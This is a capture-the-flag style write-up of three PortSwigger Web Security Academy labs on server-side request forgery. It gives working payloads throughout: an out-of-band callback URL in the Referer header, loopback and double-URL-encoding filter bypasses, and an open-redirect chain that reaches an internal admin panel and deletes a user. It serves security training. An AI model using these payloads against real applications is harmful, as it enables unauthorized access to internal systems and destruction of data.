Labs Covered

This write-up focuses on the following PRACTITIONER-level labs from the PortSwigger Web Security Academy related to Server-side request forgery (SSRF):

3 Blind SSRF with out-of-band detection

This lab demonstrates how to exploit SSRF vulnerabilities that require out-of-band interaction to detect and confirm the attack.

4 SSRF with blacklist-based input filter

This lab shows how attackers can bypass blacklist-based filters to exploit SSRF vulnerabilities.

5 SSRF with filter bypass via open redirection vulnerability

This lab illustrates how SSRF attacks can bypass filters by leveraging open redirection flaws.

---

LAB 3 - Blind SSRF with out-of-band detection

Lab Description

Solution

• I accessed the lab and clicked on a product.

• Using Burp Suite, I intercepted the HTTP request made when loading the product page.

• The lab description mentioned that the server fetches the URL specified in the Referer header when the product page is loaded.
• This hinted at an SSRF vector via the Referer header.

1. Generating a Burp Collaborator Payload

• I generated a Burp Collaborator client payload.
• Then, I replaced the value of the Referer header with the Collaborator payload URL:

Referer: http://<your-collaborator-id>.oastify.com

2. Sending the Request

• I forwarded the modified request to the server.

3. Confirming SSRF via Callback

• The Collaborator client received an incoming request, indicating that the server made an outbound request to the payload URL.

• This confirmed the SSRF vulnerability in the Referer header.

  

And thus the lab is solved

---

LAB 4 - SSRF with blacklist-based input filter

Lab Description

Solution

Step-by-Step Solution

1. Intercepting the Stock Check Request

• I clicked on a product and intercepted the Check Stock functionality using Burp Suite.
• The request sent a stockApi parameter with a URL for internal stock checking.
• I changed the value of stockApi to:

http://localhost

• The application responded with:

External stock check blocked for security reasons

• This confirmed the presence of SSRF filtering logic.

2. Bypassing Using Alternative Loopback IP

• I tried http://127.0.0.1 — also blocked.
• Then I tried http://127.1 — this returned a 200 OK response and revealed /admin in the response body.

3. Attempting Access to the Admin Interface

• I tried accessing:

http://127.1/admin

• But again received the same security error:

External stock check blocked for security reasons

• This meant there was another layer of filtering, likely targeting the /admin string.

Bypassing the Second Filter

4. URL Encoding /admin

• I tried encoding /admin as:

/%61%64%6d%69%6e

But it was still blocked.

5. Double URL Encoding

• I encoded %61%64%6d%69%6e again to get:

%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

• I replaced /admin with this double-encoded value:

http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

• This bypassed the filter and the response revealed the delete user endpoint

/delete?username=carlos

Informational

• Or another method I came to knew was using mix characters usage LoCaLHosT, this time we are able to bypass ther restriction.

  

  Get 200 response from above request

  

---

Final Step – Deleting the User

• I appended the delete endpoint to the request:

  http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65/delete?username=carlos

• I sent the request, and the user carlos was deleted.

---

LAB 5 - SSRF with filter bypass via open redirection vulnerability

Lab Description

Solution

1. Initial Attempt – Direct SSRF

• I intercepted the Check Stock request on the product page using Burp Suite.
• I attempted to directly access the admin panel via:

 http://192.168.0.12:8080/admin 

• The server returned an error:

Invalid external stock check url ‘Invalid URL’

• This confirmed that direct access was restricted, as mentioned in the lab description.

2. Searching for Open Redirect

2.1. Checked the Stock Check Endpoint

• I URL-decoded the stock check request:

   /product/stock/check?productId=1&storeId=1

• Tried multiple payloads for open redirection on this endpoint — none worked.

2.2. Explored Product Navigation Links

• On the product page, I found two buttons:
• Return to list – no parameters, no redirect potential.
• Next product – had a path parameter in the request.

2.3. Confirmed Open Redirect

• I intercepted the Next product request and modified the path parameter:

• I replaced the path value to http://192.168.0.12:8080/admin and the application got redirected to the same. So, there was an Open Redirection here.

  

---

3. Combining SSRF with Open Redirect

3.1. Tried Direct Use of Redirect in stockApi

• Now provide the redirect path /product/nextProduct?path=http://192.168.0.12:8080/admin to the stockApi parameter from the full uri /product/nextProduct?currentProductId=1&path=/product?productId=2).

We get a 200 OK response & we can able to access the admin panel.

/product/nextProduct?currentProductId=1&path=http://192.168.0.12:8080/admin

• The server returned an error again — likely due to encoding issues.

3.2. URL Encoded the Redirect Endpoint

• I encoded the entire redirect URL:

/product/nextProduct%3fcurrentProductId%3d1%26path%3dhttp%3a//192.168.0.12%3a8080/admin

• Replaced stockApi with the encoded payload.

3.3. Success: Admin Interface Accessed

• This returned a 200 OK response, along with:

/delete?username=carlos

• I appended the delete endpoint to the stockApi:

/product/nextProduct%3fcurrentProductId%3d1%26path%3dhttp%3a//192.168.0.12%3a8080/admin/delete?username=carlos

• Sent the request, and the user carlos was deleted.

---